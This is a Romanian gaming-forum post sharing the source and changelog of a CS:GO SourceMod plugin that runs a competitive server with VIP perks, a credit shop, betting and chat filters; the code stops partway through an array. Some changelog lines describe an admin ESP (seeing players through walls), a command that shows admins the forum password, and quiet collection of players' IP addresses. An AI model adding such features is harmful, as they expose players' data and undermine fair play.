*Free* Sursa MyCompetitive si MyJailbreak

Descărcări de pluginuri și discuții despre acestea.

Moderators: Moderatori ajutatori, Moderatori, Echipa eXtreamCS.com

Locked
nobilyx
Membru, skill 0
Membru, skill 0
Posts: 38
Joined: 07 Dec 2018, 18:42
Detinator Steam: Nu
CS Status: Citesc forumul eXtreamCS.com...!
Fond eXtream: 0
Contact:

24 Jun 2020, 23:47

Topicul vechi a fost sters pe motivul de mai jos - TOPIC

Code: Select all

Ca sa nu se imparta warn-uri peste warn-uri, topic-ul va fi inchis si mutat la cos.
Autorul topic-ului sa-l refaca, iar acel topic va fi locked.
Sursa MyCompetitive ultimul update 15 Aprilie | Afiseaza codul
/* 
	# Mod Competitiv by xSaG - Copyright (C) 2019.
	
	# Contact:
				- Steam: https://steamcommunity.com/id/xsag69
				- Discord: xSaG#8670
	
	* Descriere:
		- Conține tot ce este nevoie pentru un server de mod competitiv.
	
	* Beneficii VIP PREMIUM:
		- 1000$ la fiecare început de rundă, exceptând rundele de pistoale;
		- 250$ bonus pentru plantarea bombei;
		- 250$ bonus pentru dezamorsarea bombei;
		- 100$ pentru fiecare inamic ucis;
		- Armură 100% în fiecare rundă;
		- Cască în fiecare rundă după runda de pistoale;
		- Pachet de grenade în fiecare rundă (He, Flash x2, Molotov, Smoke);
		- Gloanțe infinite la toate armele;
		- Zeus;
		- Bhop;
		- Damage înmulțit cu 1.1 (Ex: dacă damage-ul dat este 84, damage-ul pentru vip o să fie 84 * 1.1 = 92.4;
		- Nu primește flash de la coechipieri;
		- Nu își poate da flash;
		- Poate vedea în ce site s-a plantat bomba;
		- Trancers când se trage cu awp-ul și cu scout-ul;
		- Vipii au listă specială unde sunt afișați când sunt online;
		- Are 8 skinuri diferite de restul de jucătorilor, 4 la T și 4 la CT;
	
	* Jurnalul Modificărilor:
		[*] 14 Noiembrie 2019 - v1.0:
			- Lansarea Inițială
			- Bani infiniți în WarmUp
			- Autorestart după prima rundă
			- Adminul poate să se facă invizibil la spectator
			- Adăugată comanda de resetare scor
			- Fix bug intrare jucători
			- Echilibrare număr de jucători
			- Blocare schimbare echipe în timpul meciului
			- Blocare mesaje radio
		[*] 15 Noiembrie 2019 - v1.1:
			- Mesaje cu informații în chat
			- Adăugată o comandă ce arată datele de contact ale owner-ului (#Info Comenzi)
			- Adăugată o comandă ce arată grupul de discord (#Info Comenzi)
			- Adăugată o comandă ce arată grupul de steam (#Info Comenzi)
			- Adăugat un HUD ce arată timpul la C4 (C4 Event)
			- Vezi cine a plantat bomba în HUD (C4 Event)
			- Când mai sunt 4 secunde la C4, se arată următorul mesaj în HUD
			"E timpul să fugi, bomba o să explodeze!" (C4 Event)
			- Timpul de la C4 se colorează în funcție de secundele rămase -> [Verde | Portocaliu | Roșu] (C4 Event)
			- La sfârșit de rundă apare un mesaj în chat, unde arată cum a câștigat echipa respectivă
			Exemplu: "Teroriști au câștigat eliminând toți inamicii"
			- Adăugate comenzi de transfer pentru admin -> [!t / !ct / !spec]
			- Adăugate două comenzi pentru jucători cu care se pot muta la spectator -> [!afk / !idle]
			- Următoarele arme au fost restricționate -> [neghev, scar20, g3sg1]
			- Odată intrați pe server, jucătorii sunt întâmpinați cu un mesaj de bun venit
			- La fiecare început de rundă serverul le urează jucătorilor "Baftă la fraguri!"
			- Adăugat ESP la admin
			- Boții au fost dezactivați complet
			- Când cineva dă NoScope cu AWP-ul apare în chat
			- Când cineva dă NoScope cu Scout-ul apare în chat
			- În tab apare din ce țară este jucătorul
		[*] 16 Noiembrie 2019 - v1.2:
			- Adăugat un sunet când dai NoScope
			- Adăugată o comandă cu care oprești sunetul de la NoScope
			- Adăugat un meniu pentru jucători. Se poate activa pe butonul "," [ https://imgur.com/bfGaJ6V ]
			- Adăugat un meniu cu prețuri [ https://imgur.com/a/v6UOFpR ]
			- Adăugat un sunet de restricție când vrei să te muți
			- Adăugat un sunet de restricție când vrei să cumperi arme restricționate
			- Adăugat un sunet când se plantează, dezamorsează și explodează bomba
			- ShowDamage ca pe Counter Strike 1.6
		[*] 17 Noiembrie 2019 - v1.3:
			- Sistem de VIP
			- Restricție la mapă în funcție de numărul jucătorilor de la CT [ https://imgur.com/402WuMR ]
			- Acum te poti muta de la o echipă la alta în WarmUp
			- Recompensă de 150$ celui ce a plantat / dezamorsat bomba
		[*] 18 Noiembrie 2019 - v1.4:
			- Sistemul de VIP are acum 2 clase -> [VIP PREMIUM & VIP FREE]
			- Odata la 3 runde serverul alege un jucător fără VIP PREMIUM și îi oferă VIP FREE pentru o rundă
			- VIP_PREMIUM poate cumpăra armele restricționate de pe server
			- VIP_PREMIUM primește recompensă de 250$ celui ce a plantat / dezamorsat bomba
			- VIP_PREMIUM când trage cu AWP / Scout are efect ca la zeus
			- VIP_PREMIUM vede în ce site a fost plantă bomba
			- Adăugate 8 skinuri de caractere pentru ambele clase de VIP -> [4 skinuri la T / 4 la CT]
			- Adăugată o listă unde poți vedea vipii online -> [!vips]
			- Fix cumpărare cască în runda de pistoale -> [Vipii puteau să cumpere cască în runda de pistoale]
		[*] 19 Noiembrie 2019 - v1.5:
			- Tag în tab
			- Tag în chat
			- Scris colorat pentru cei cu grade
		[*] 04 Decembrie 2019 - v1.6:
			- Adminii nu mai pot să-și schimbe clan tag-ul din scoarebord din setarile jocului
			- Adăugat event de crăciun ce oferă diverse cadouri jucătorilor.
			- Scoase cele 8 skinuri pentru VIP si adăugate cele de la noua operațiune.
			- Jucatorii care dețin skinurile de la noua operațiune nu pot să le folosească, sunt speciale pentru VIP.
			- Adăugată comanda /ore
		[*] 05 Decembrie 2019 - v1.7:
			- Au fost adăugate următoarele în meniul pentru jucători -> [Nume, SteamId, Grad, VIP]
			- Reparată lista de vipi online
			- Adăugată o listă cu adminii online
			- Adăugat un Hud ce arată la început de rundă dacă sunt admini conectați
		[*] 07 Decembrie 2019 - v1.8:
			- Adăugat în meniul principal categoria "Top Jucători"
			- Adăugat în meniul principal categoria "Wiki Server", unde poți afla diverse informații despre server
			- Adăugat în categoria prețuri un buton ce duce înapoi în meniul principal
			- Când bomba a fost plantată restricția mapei dispare
			- Adăugat un hud la sfârșit de rundă, unde arată liderul mapei [https://imgur.com/a/N9cIJV9]
		[*] 09 Decembrie 2019 - v1.9:
			- După ce un jucător intră pe server, meniul principal se deschide automat după 20 de secunde
			- Fixata o eroare cand se juca toată mapa serverul tot încerca să scoată restricția mapei, dar restricția nu exista
			- Fixată o mica eroare la vip când încerca să cumpere cască în runda de pistoale
			- Dacă un jucător este liderul harții și acesta intră la spectator, acesta nu mai este luat în calcul
			- Serverul oferă V.I.P FREE între orele 21:00 și 10:00
		[*] 10 Decembrie 2019 - v2.0:
			- Serverul verifică dacă jucătorii sunt AFk și îi mută la spectatori
			- Dacă jucătării stau mai mult de 10 minute la spectator primesc kick
			- Adminii nu primesc kick dacă stau la spectator
			- Sistem vinde armament la jumate de preț
			- Meniul principal a fost restructurat
		[*] 12 Decembrie 2019 - v2.1:
			- Jucătorii au posibilitatea să parieze pe server
			- O noua comanda pe admini - /parolaforum -> Arată parola de la forum
			- Jucătorii au posibilitatea să ofere drop unui jucător specific fără să arunce arma pe jos
		[*] 16 Decembrie 2019 - v2.2:
			- Adăugată anti reclamă atat în nume cât și în chat
			- Jucătorii ce au in nume DNS-ul de la server primesc armură fără cască
			- Ora veselă la VIP a fost fixată, nu se actualiza când serverul trecea de ora 00:00
		[*] 23 Decembrie 2019 - v2.3:
			- Fixat sistemul de pariuri, acum arată corect câștigul
			- Fixate mesajele hud, uneori nu se afișau toate
			- Când este ora veselă cu V.I.P Free, giveaway-ul ce ofera V.I.P Free odata la 3 runde unui jucător este dezactivat
			- V.I.P Free nu mai poate cumpăra cască în runda de pistoale
		[*] 24 Decembrie 2019 - v2.4:
			- Mesajul de la NoScope nu mai apare de două ori
			- Fix autorestart, din cauza lui vipii aveau cască în prima rundă de pistoale
			- Adăugat panel admin care se activează pe "."
			- Meniul de la bet nu mai apare automat după ce mori
		[*] 27 Decembrie 2019 - v2.5:
			- Adăugat exojump pentru ambele vipuri
			- Adăugat scut pentru vip PREMIUM doar pentru CT
		[*] 07 Ianuarie 2020 - v2.6:
			- Fix scut, nu mai cade un spawn când începe o nouă rundă
			- Exojump și scutul au fost dezactivate
			- Hud-ul de la C4 a fost modificat
			- Anunțul cu ora veselă de la vip nu mai este permanent, acum apare mereu la început de rundă
			- Fix comanda de transfer când numele era scris greșit
			- Au fost scrise comenzile diponibile în Wiki
			- Adăugată comanda /forum
		[*] 13 Ianuarie 2020 - v2.7:
			- Modificat chat-ul, nu mai este cel default
			- Fixat când raportai un codat aparea și în chat team
			- De la ora 01 până la ora 08 se joacă doar dust2
			- Fixate cateva funcții ce dadeau warninguri în loguri
		[*] 14 Ianuarie 2020 - v2.8:
			- Restricția de pe dust2 a fost modificată
			- Fix verificare gag pe noul chat (Un jucător cu gag putea să scrie pe noul chat)
			- Rescris sistemul de tag în tab (Acum fiecare jucătoar poate alege daca vrea sau nu să se vadă tag-ul)
			- Dacă înjuri sau faci reclamă primești warn, iar la 3 warn-uri gag 5minute
		[*] 20 Ianuarie 2020 - v2.9:
			- Adăugate sunete la sistemul de injurii și reclamă
			- După ce intri pe server la 3 secunde serverul te salută cu un sunet
			- Scos efectul ca la zeus cand tragi cu awp/scout
			- Adăugat tracers (roșu la t / albastru la ct) doar pentru vip
			- AutoBhop-ul se poate dezactiva
			- Tracers se poate dezactiva
		[*] 23 Ianuarie 2020 - v3.0:
			- Vipii primesc 1.000$ în fiecare rundă
			- Adăugat shop pe credite
			- Zeusul a fost restricționat
			- Armele resticționate nu mai pot fi cumpărate de V.I.P Premium
			- Armele restrționate au fost puse in shop
			- Seringa de la V.I.P a fost scoasă și a fost adăugată în shop
			- Adăugat Medkit în shop, oferă 70HP
			- Adăugat scut și tag grenade în shop
			- V.I.P Free priemste 5HP pe kill, iar V.I.P Premium primește 10HP pe kill
			- Adăugat barbut
			- Adăugat sm_last cu care poti vedea utlimii 20 de jucatori deconectați
		[*] 26 Ianuarie 2020 - v3.1:
			- Adăugat PM pentru toată lumea
			- Adăugată opțiune pentru a bloca cererile de barbut
			- Adăugată opțiune pentru a blocat mesajele private
			- Adăugată muzică la final de rundă
			- Comanda care afisează adminii online a fost pusă la 15 ore
		[*] 27 Ianuarie 2020 - v3.2:
			- Bounty System
			- Fix mesajele sfarsit de rundă
			- Fix vânzarea de arme în prima rundă
		[*] 05 Februarie - v3.3:
			- Modificat Gold Member
			- Adăugat Diamond Member
			- Caracterele moarte se sterg dupa 2 secunde
		[*] 07 Februarie - v3.4:
			- Adăugate mesaje Hud
			- Adăugat un meniu cu arme din echipa adversa pentru V.I.P Premium
		[*] 10 Februarie - v3.5:
			- Fix cumparare cască la GoldMember, repsectiv DiamondMember
			- Schimbata metoda de ștergere a caracterelor moarte
			- Pe timpul noapti se joaca doar Dust2 & Mirage
			- Adăugat un mesaj hud ce informează jucătorii că pe timpul nopții se joaca doar Dust2 & Mirage
		[*] 12 Februarie - v3.6:
			- Eliminate steagurile din tab
			- Tagurile GoldMember si DiamondMember au acum un simbol
			- Optimizat codul de la rank-ul pe ore
			- Adăugate banere ce sunt afișate când ești mort
			- Fixat shop-ul, doar un jucator putea sa cumpere iteme din shop...
		[*] 13 Februarie - v3.7:
			- Bot-ul dă kick celor ce încearcă să-și schimbe numele pe server
			- Fix exploit "CreateFragmentsFromFile: '.txt' doesn't exist."
			- Adăugate doua comenzi cu care poți vedea jucatorii Gold/Diamond online (/golds, /diamonds)
			- Adăugat în shop "Cu 10% mai multă viteză [permanent]" doar pentru V.I.P Premium
			- Adăugat în shop "Double Jump, dispare dupa ce mori." doar pentru V.I.P Premium
			- Daca ai Bhop activ și ai cumpărat Double Jump se dezactiveaza automat, respectiv se activeaza dupa ce mori
		[*] 24 Februarie - v3.8:
			- Runda de cutite dezactivata
			- Limitarea de vorbire dupa ce mori eliminata
			- Adaugat antiflash team si pentru cei fara VIP Premium
		[*] 05 Martie - v3.9:
			- Elimitat vechiu sistemul de vot și adăugat altul
			- Adăugată o opțiune ce poate ascunde tag-ul la admini în chat
			- Adăugată comanda /owneri
			- Adăugat wiki la gold & diamond member
			- Dacă nu sunt sub 10 jucători nu se mai joacă doar dust2 & mirage
		[*] 06 Martie - v4.0:
			- Adminii pot da acum votemap, nu se mai schimba mapa automat dupa vot
			- Nu se mai poate vota harta care se joacă în acel moment
			- Adăugat un sunet când se voteza următoarea hartă
			- Au fost adăugate categori la sistemul de votare a hărții
			- Comandă '!nextmap' a fost rescrisă
			- Bot-ul serverului executa automat comanda '!nextmap' la final de mapă
		[*] 07 Martie - v4.1:
			- Adăugat demo automat
			- Adăugate sunete în chat pentru V.I.P Premium
			- Adăugată o listă cu toate sunetele disponibile din chat (!saysounds)
			- Fiecare V.I.P Premium poate se pornească doar un sunet pe rundă
		[*] 08 Martie - V4.2:
			- Grenadele nu se mai blocheză în jucători
			- Nu se mai poate scrie pe chat-ul adminilor daca gag-ul este activ
			- Adaugat un sistem de warn/ban pentru bhop(!warnbhop, !unwarnbhop, !unbanbhop)
			- SaySounds se poate dezactivat din setări
			- Adăugate două comenzi ce duc in meniul de sunete (!qs, !sunete)
		[*] 08 Martie - V4.2.1:
			- Adăugat un mesaj in chat când cineva primește lamă
			- Adăugat un sunet cand dai/primești lamă
			- Sunetul de la NoScope se aude acum doar la atacator, respectiv victimă
			- Optimizări pentru var spikes lag
		[*] 09 Martie - V4.3:
			- Tag grenade se poate cumpăra doar de 3 ori pe mapă
			- Tag grenade a fost scumpit la 150 de credite
			- Adăugat in shop o categorie "Say Sounds"
			- Adăugată comanda "!lastmap sau !lastmaps"]
			- Ip-urile jucătorilor sunt acum colectate de către [BOT]ESL
		[*] 14 Martie - V4.4:
			- Adăugată comanda '!banbhop'
			- Au fost create loguri pentru comenzile de sancționare a bhop-ului
			- Tombolă pe fiecare mapă
				Notă: Toate creditele ce sunt consumate pe server se adăugă la tombolă. Dacă nu se consumă credite,
				tombola are 50 de credite garantate. Toate credite ce se consumă după runda 15 nu se mai adăugă în tombolă.
				Spectatorii nu pot pariticipa. Extragerea se face la începutul rundei 15
			- Adăugate următorele comenzi pentru system de tombolă '!castigtombola, !infotombola, !tombola'
			- Adăugată comanda "!sm_setnextmap" pentru adminii ce au acces la UnBan
		[*] 15 Martie - V4.4.1:
			- Adăugat cooldown de 10 secunde la SaySound pentru a putea folosi toti sunetele
			- În runda 6 nu se mai poate da niciun fel de vot
			- Creditele ce se adăugă la tombolă se împart la doi pentru a evita spam-ul de credite.
		[*] 16 Martie - V4.4.2:
			- Comanda '!admins' a fost adăugată de la Regular Player 2 în sus (25 ore)
			- Adăugat un hud cu cați admini sunt online. Vizibil de la Regular Player 1 în sus (15 ore)
			- Adăugată o comanda !follow pentru a urmări mai ușor un suspect
			- Adăugată o comanda ce oferă credite gratuite pe fiecare zi (25 credite fără V.I.P, 100 credite cu V.I.P Premium) [!gift]
		[*] 17 Martie - V4.4.3:
			- Fixate doua erori la sistemul de bet
			- Adăugat un mesaj in chat când cineva primește zeus
			- Adăugat un sunet cand dai/primești zeus
			- Dacă nu ești V.I.P Premium se pot cumpăra doar 8 awp-uri de persoană pe fiecare mapă (4 la ct / 4 la t)
			- Dacă ești V.I.P Premium se pot cumpăra doar 12 awp-uri de persoană pe fiecare mapă. (6 la ct / 6 la t)
		[*] 18 Martie - V4.4.4:
			- Benificile V.I.P au fost actualizate în Wiki
			- Comanda !saysounds este disponibilă de acum doar pentru V.I.P Premium
			- Corectat un mesaj ce era scris greșit
			- #2 Fix bug SaySouns (Dacă activai un sunet la final de mapă, următoarea mapă nu-l puteai folosi prima runda)
			- Probabil fixat bug-ul la Diamond Member (Îți dispărea DiamondMember uneori si te baga la GoldMember)
			- Când ai 0 stock-uri la AWP poți cumpăra din shop +1 stock la prețul de 25 credite
		[*] 19 Martie - V4.4.5:
			- Comenzile !follow și !unfollow au fost rescrise și retricționate
			- Când omori pe cineva prin HeadShot primești 2 credite
			- Când omori pe cineva cu Zeusul primești 7 credite
			- Când omori pe cineva cu Lama primești 10 credite
			- Adăugat in mini eveniment (La 32 din 32 de jucători online, creditele sunt duble pentru fiecare kill
		[*] 22 Martie - V4.4.6:
			- Adăugată comanda '!checkbhop' pentru a vizualiza cate warnuri ai la bhop
			- Adăugată comanda '!credite' pentru a vizualiza cate credite ai
			- Functia mapelor de noapte a fost eliminată temporar
			- Diamond Member a fost eliminat
			- Bhop-ul se poate cumpăra din shop la prețul de 5.000 credite
			- Gold Member nu mai este afișat în chat la cei ce au grad pe server
		[*] 01 Aprilie - V4.4.7:
			- Adăugată comanda "!permanentvip" cu care îți poți cumpară vip-ul permanent cu credite.(Vip-ul de aici are si gloante infinite)
			- Au fost adăugate skinurile din Cutie Prisma 2
		[*] 02 Martie - V4.4.8:
		- Eliminată comanda "!permanentvip". (farsă de 1 aprilie)
		- Eliminată restricția la mape
		- Din pricină ca nu erau folosite următoarele sisteme au fost scoase: Dropează arma la cineva, Vinde arma
		[*] 04 Aprilie - V4.4.9:
			- Protecția anti reclamă a fost îmbunătățită
			- Adăugată comanda '!bhops' cu care poti vedea jucătorii online ce au bhop cumpărat din shop
			- Adminii nu mai primesc kick când stau mai mult de 10 minute la spectator
			- V.I.P Premium nu mai primeste kick când sta mai mult de 10 minute la spectator
		[*] 05 Martie - V5.5.0:
			- Sistemul de votare a fost rescris
			    # Categoriile au fost eliminate
			    # Mapele nu mai prestabilite în meniul de vot 
			    # Serverul pune la vot 6 mape random
			- Adăugate două mape noi: de_dust2_old & de_inferno_old (Posibil sa nu le meargă radarul unora)
			- Ora veselă a fost dezactivată
		[*] 13 Aprilie - V5.5.1:
			- Agenții de acum sunt random doar la jucatorii cu V.I.P Free
			- Adăugată comanda '!agents' pentru jucătorii cu V.I.P Premium
			- Chat-ul a fost modificat
		[*] 15 Aprilie - V5.5.2:
			- Adăugat un nou grad pentru admini "Supervizor"
			- Credite au fost resetate
			- Creat log la comanda de setare a creditelor
			- Ownerii nu mai au acces la comanda de credite daca nu au steamid-ul adăugat în sistem
			- Ora veselă a fost readăugată  "VIP FREE -> [21:00 - 10:00]"
*/
/* Librărie */
#include <sourcemod>
#include <basecomm>
#include <blindhook>
#include <cstrike>
#include <clientprefs>
#include <emitsoundany>
#include <menu-stocks>
#include <geoip>
#include <sendproxy>
#include <sdkhooks>
#include <sdktools>
#include <sdktools_functions> 
#include <smlib>
#include <regex>	
#undef REQUIRE_PLUGIN
#include <mostactive>
#define REQUIRE_PLUGIN
#pragma tabsize 0;
#pragma newdecls required;
#pragma semicolon 1;
	
/* Defined */
#define PLUGIN_NAME           "MyCompetitive" /* Nume plugin. */
#define PLUGIN_AUTHOR         "xSaG" /* Autor plugin. */
#define PLUGIN_DESCRIPTION    "Conține tot ce este nevoie pentru un server de mod competitiv." /* Descriere plugin. */
#define PLUGIN_VERSION        "3.0" /* Versiune plugin. */
#define PLUGIN_URL            "https://steamcommunity.com/id/xsag69" /* Contact autor. */
#define VIP_FLAG ADMFLAG_CUSTOM1  /* Flag-ul pentru VIP */
#define MessageNumber 19 /* Numărul total de mesaje */
#define TotalDeArme 4 /* Numărul total de arme restricționate */
#define ucidere_inamic 100
#define bani_c4_novip 150
#define bani_c4_vip 250
#define bani_inceput_runda 1000
#define LIFE_ALIVE 0
#define BET_AMOUNT 0
#define BET_WIN 1
#define BET_TEAM 2
#define TotalDNS 4

#define ACCEPT "#accept"
#define REJECT "#reject"
#define DISABLED "#disabled"
#define WINNER_SOUND "ui/coin_pickup_01.wav"
#define LOSER_SOUND "ui/xp_rankdown_02.wav"
#define NOBODY_SOUND "ui/weapon_cant_buy.wav"
	 
/* ArrayList */
ArrayList 
	g_List_Players;
	
	
UserMsg 
	g_TextMsg, g_HintText, g_KeyHintText;
static char g_sSpace[2048];

/* Bool */
bool
	g_isCSGO,
	Cooldown_SaySounds = false,
	OnOfSaySounds[MAXPLAYERS + 1],
	g_IsPMon[MAXPLAYERS + 1],
	AreDicesEnabled[MAXPLAYERS + 1], IsAlreadyPlaying[MAXPLAYERS + 1],
	OraVeselaVip = false,
	g_bAfk[MAXPLAYERS +1], /* AFK */
	g_bIsHiding[MAXPLAYERS + 1], /* Admin invizibil la spectator. */
	Restart = false, /* AutoRestart. */
	BombEndedTheRound = false, /* C4 Event. */
	CanHearTheSound[MAXPLAYERS + 1], /* Anunț NoScope. */
	SunetC4[MAXPLAYERS +1],
	TagTabMeniu[MAXPLAYERS +1],
	TagChatMeniu[MAXPLAYERS +1],
	MuzicaSfarsit[MAXPLAYERS+1],
	/* Sistem VIP. */
	CanBhop[ MAXPLAYERS + 1 ],
	IsClientGoldMember[MAXPLAYERS+1],
	IsClientFreeVip[MAXPLAYERS+1],
	IsClientBounty[MAXPLAYERS+1],
	CanEmitTracers[MAXPLAYERS+1],
	g_bPlayerBet[MAXPLAYERS + 1] = {false, ...}; /* Pariuri. */
	
/* Cvar */
ConVar 
	cv_ct, cv_tt, cv_time,
	/* Eliminare Boți. */
	Boti;
	
/* Char */
char
	g_ctmodel[128], g_ttmodel[128], TracerModel, LogsPath[64],
	Agents[][] = 
	{
		"models/player/custom_player/legacy/tm_phoenix_varianth.mdl",
		"models/player/custom_player/legacy/tm_phoenix_variantg.mdl",
		"models/player/custom_player/legacy/tm_phoenix_variantf.mdl",
		"models/player/custom_player/legacy/tm_leet_varianti.mdl",
		"models/player/custom_player/legacy/tm_leet_variantg.mdl",
		"models/player/custom_player/legacy/tm_leet_varianth.mdl",
		"models/player/custom_player/legacy/tm_balkan_variantj.mdl",
		"models/player/custom_player/legacy/tm_balkan_varianti.mdl",
		"models/player/custom_player/legacy/tm_balkan_varianth.mdl",
		"models/player/custom_player/legacy/tm_balkan_variantg.mdl",
		"models/player/custom_player/legacy/tm_balkan_variantf.mdl",
		"models/player/custom_player/legacy/ctm_st6_variantm.mdl",
		"models/player/custom_player/legacy/ctm_st6_varianti.mdl",
		"models/player/custom_player/legacy/ctm_st6_variantg.mdl",
		"models/player/custom_player/legacy/ctm_sas_variantf.mdl",
		"models/player/custom_player/legacy/ctm_fbi_varianth.mdl",
		"models/player/custom_player/legacy/ctm_fbi_variantg.mdl",
		"models/player/custom_player/legacy/ctm_fbi_variantb.mdl",
		"models/player/custom_player/legacy/tm_leet_variantf.mdl",
		"models/player/custom_player/legacy/ctm_fbi_variantf.mdl",
		"models/player/custom_player/legacy/ctm_st6_variante.mdl",
		"models/player/custom_player/legacy/ctm_st6_variantk.mdl"
	},
	tmodel[128] = "models/player/custom_player/legacy/tm_phoenix_varianta.mdl",
	ctmodel[128] = "models/player/custom_player/legacy/ctm_sas_varianta.mdl",
	ListaMuzica[][] =
	{
		"*xsag/sunete/muzica/1.mp3",
		"*xsag/sunete/muzica/2.mp3",
		"*xsag/sunete/muzica/3.mp3",
		"*xsag/sunete/muzica/4.mp3",
		"*xsag/sunete/muzica/5.mp3",
		"*xsag/sunete/muzica/6.mp3",
		"*xsag/sunete/muzica/7.mp3",
		"*xsag/sunete/muzica/8.mp3",
		"*xsag/sunete/muzica/9.mp3",
		"*xsag/sunete/muzica/10.mp3",
		"*xsag/sunete/muzica/11.mp3",
		"*xsag/sunete/muzica/12.mp3",
		"*xsag/sunete/muzica/13.mp3",
		"*xsag/sunete/muzica/14.mp3",
		"*xsag/sunete/muzica/15.mp3",
		"*xsag/sunete/muzica/16.mp3",
		"*xsag/sunete/muzica/17.mp3",
		"*xsag/sunete/muzica/18.mp3",
		"*xsag/sunete/muzica/19.mp3",
		"*xsag/sunete/muzica/20.mp3",
		"*xsag/sunete/muzica/21.mp3",
		"*xsag/sunete/muzica/23.mp3",
		"*xsag/sunete/muzica/24.mp3",
		"*xsag/sunete/muzica/25.mp3",
		"*xsag/sunete/muzica/26.mp3",
		"*xsag/sunete/muzica/27.mp3",
		"*xsag/sunete/muzica/28.mp3",
		"*xsag/sunete/muzica/29.mp3",
		"*xsag/sunete/muzica/30.mp3",
		"*xsag/sunete/muzica/31.mp3",
		"*xsag/sunete/muzica/32.mp3"
	},
	/* Blocare mesaje radio. */
	MesajeRadio[][] =
	{
		"go", "fallback", "sticktog", "holdpos", "followme", "coverme", "regroup", "roger", "negative",
		"cheer", "compliment", "thanks", "enemydown", "reportingin", "enemyspot", "needbackup", "takepoint", "sectorclear",
		"inposition", "takingfire","report","getout"
	},
	/* Mesaje cu informații în chat. */
	MesajeInChat[MessageNumber][] = 
	{
		" \x05[BOT]ESL\x01: Limbajul vulgar se va pedepsi cu \x06GAG \x01/ \x06Mute\x01!",
		" \x05[BOT]ESL\x01: Ține numele de la server în nick și primești automat \x06GoldMember\x01!",
		" \x05[BOT]ESL\x01: Scrieţi \x06/rs \x01pentru a vă reseta scorul \x01(\x06S\x01, \x06K\x01, \x06D \x01& \x06A\x01)\x01.",
		" \x05[BOT]ESL\x01: Pentru a deveni \x06HELPER \x01aveţi nevoie de \x1050 \x01de ore.",
		" \x05[BOT]ESL\x01: Pentru a deveni \x06MODERATOR \x01aveţi nevoie de \x10100 \x01de ore.",
		" \x05[BOT]ESL\x01: Comenzi disponibile pe server: \x06/leo\x01 | \x06/pinu\x01 | \x06/wapp\x01 | \x06/ts3\x01 | \x06/discord\x01 | \x06/grup\x01 | \x06/ws\x01 | \x06/gloves\x01 | \x06/afk\x01 | \x06/ore\x01 | \x06/preturi\x01 | \x06/rs",
		" \x05[BOT]ESL\x01: Toţi jucătorii trebuie să cunoască regulamentul serverului.",
		" \x05[BOT]ESL\x01: Pentru menținerea unui număr constant de jucători, \x06INVITAȚI-VĂ PRIETENII \x01pe server!",
		" \x05[BOT]ESL\x01: Adresa IP \x0689.40.104.245 \x06:27015\x01.",
		" \x05[BOT]ESL\x01: Prietenii vor să vi se alăture în joc? Scrieţi \x06CL_Join_Advertise 2 \x01în consolă.",
		" \x05[BOT]ESL\x01: Adresa de conectare: \x06ESL.GAMELIFE.RO\x01.",
		" \x05[BOT]ESL\x01: Orice tentativă de \x06Cheating \x01va fi pedepsită cu \x10Ban Permanent\x01.",
		" \x05[BOT]ESL\x01: Pentru a intra in grupul nostru de steam, scrieţi \x06/grup \x01sau \x06/group \x01în chat.",
		" \x05[BOT]ESL\x01: Vrei să îți verifici orele jucate pe server? Atunci scrie \x06/ore \x01în chat.",
		" \x05[BOT]ESL\x01: Dăcă vreți să ajutați serverul cu mici donații luați legatura cu unul din owneri, scrind \x06/owneri \x01în chat.",
		" \x05[BOT]ESL\x01: Pentru a vedea prețurile gradelor ce le oferim în schimbul unei donații, scrieți \x06/preturi.",
		" \x05[BOT]ESL\x01: Daca sti că o să stai AFK, scrie în chat \x06/afk \x01pentru a nu strica jocul altor jucători.",
		" \x05[BOT]ESL\x01: Vrei să intri în grupul nostru de \x10Discord\x01? Atunci scrie \x06/discord",
		" \x05[BOT]ESL\x01: Adăugati-vă în nume \x06ESL.GAMELIFE.RO \x01pentru a primi armură gratis."
	},
	MesajeInHud[][] = 
	{
		"Dacă ai în nume ESL.GAMELIFE.RO primești diverse beneficii!",
	    "Căutăm admini cu experiență!",
	    "Scrie /discord pentru a vedea grupul de discord.",
	    "Scrie /grup pentru a vedea grupul de steam.",
	    "Scrie /forum pentru a vedea forumul."
	},
	/* Restricționare arme. */
	CuvinteInterzise[][] = 
	{
		"mă-ta", "măta", "*****", "morți","mortii", "ma-ta", "****", "m@ta", "****", "bag pl", "pizd@", "*****", ".ro", ".com", "jb.", "jbgo", "drgo.", "csgo.",
		"*****", "coi", "sugi", "suji", "fraier", "prost", "pr0$t", "pro$t", "pr0st", "idiot", "retard", "handicap", "handicapat", "****", "***", "******"
	},
	SaySounds[][] =
	{
		"impuscat", "becali", "tefxx", "burcea", "jamesbond", "mai", "guralui", "gurata", "negro", "golani", "gica", "gaben", "careestima", "demaine", "vadim", "chishen", "bogdan101", "craiova", "suntvip", "panda",
		"6cai", "alovapup", "alupigus", "amuzant", "ardealu", "asa", "asadebine", "ba", "bagameas", "bandit", "bumbumbum", "bombardier", "bombardierilor", "bomboane", "boschetar",
		"bou", "bulan", "cai", "capatana", "cf", "cfma", "cfmaa", "ciprian", "cocalari", "da", "daba", "dautare", "deci2cai", "distractie", "dracu", "estbat", "extraordinar", "fammea",
		"fiiprofesionist", "fraier", "frumosi", "glumite", "hahaha", "hai", "haide", "hau", "imiieikaru", "incapabili", "insange", "jar", "lamoe", "magarule", "mananci", "martafoi", "miadat",
		"mota", "nesuferit", "nicu", "nu stiu", "osperiat", "panicat", "pff", "ptuuu", "rachiu", "rom","samoara", "sarba", "sarpele", "soldati", "speis", "taci", "tacima", "tacivei", "tactu",
		"taticul", "tedrk", "tetai", "vaiubesc", "viteza", "wtf"

	},
	Arme[TotalDeArme][]= {"negev", "scar20", "g3sg1", "taser"},
	DNS[][]= {"ESL.GAMELIFE.RO", "Esl.GameLife.Ro", "esl.gamelife.ro", "Esl.Gamelife.Ro"},
	DNSRestrict[][]=
	{
		"csgo.alexone.ro", "CSGO.ALEXONE.RO", "competitive.alexone.ro", "COMPETITIVE.ALEXONE.RO", "go.alied.eu", "GO.ALIED.EU",
		"arena.alphacs.ro", "ARENA.ALPHACS.RO", "surf.alphacs.ro", "SURF.ALPHACS.RO", "jbgo.alphacs.ro", "JBGO.ALPHACS.RO",
		"bbgo.alphacs.ro", "BBGO.ALPHACS.RO", "goarena.alphacs.ro", "GOARENA.ALPHACS.RO", "cs.alphacs.ro", "CS.ALPHACS.RO",
		"arena.avulon.ro", "ARENA.AVULON.RO", "awp.avulon.ro", "AWP.AVULON.RO", "go.avulon.ro", "GO.AVULON.RO", "surf.charged.ro", "SURF.CHARGED.RO",
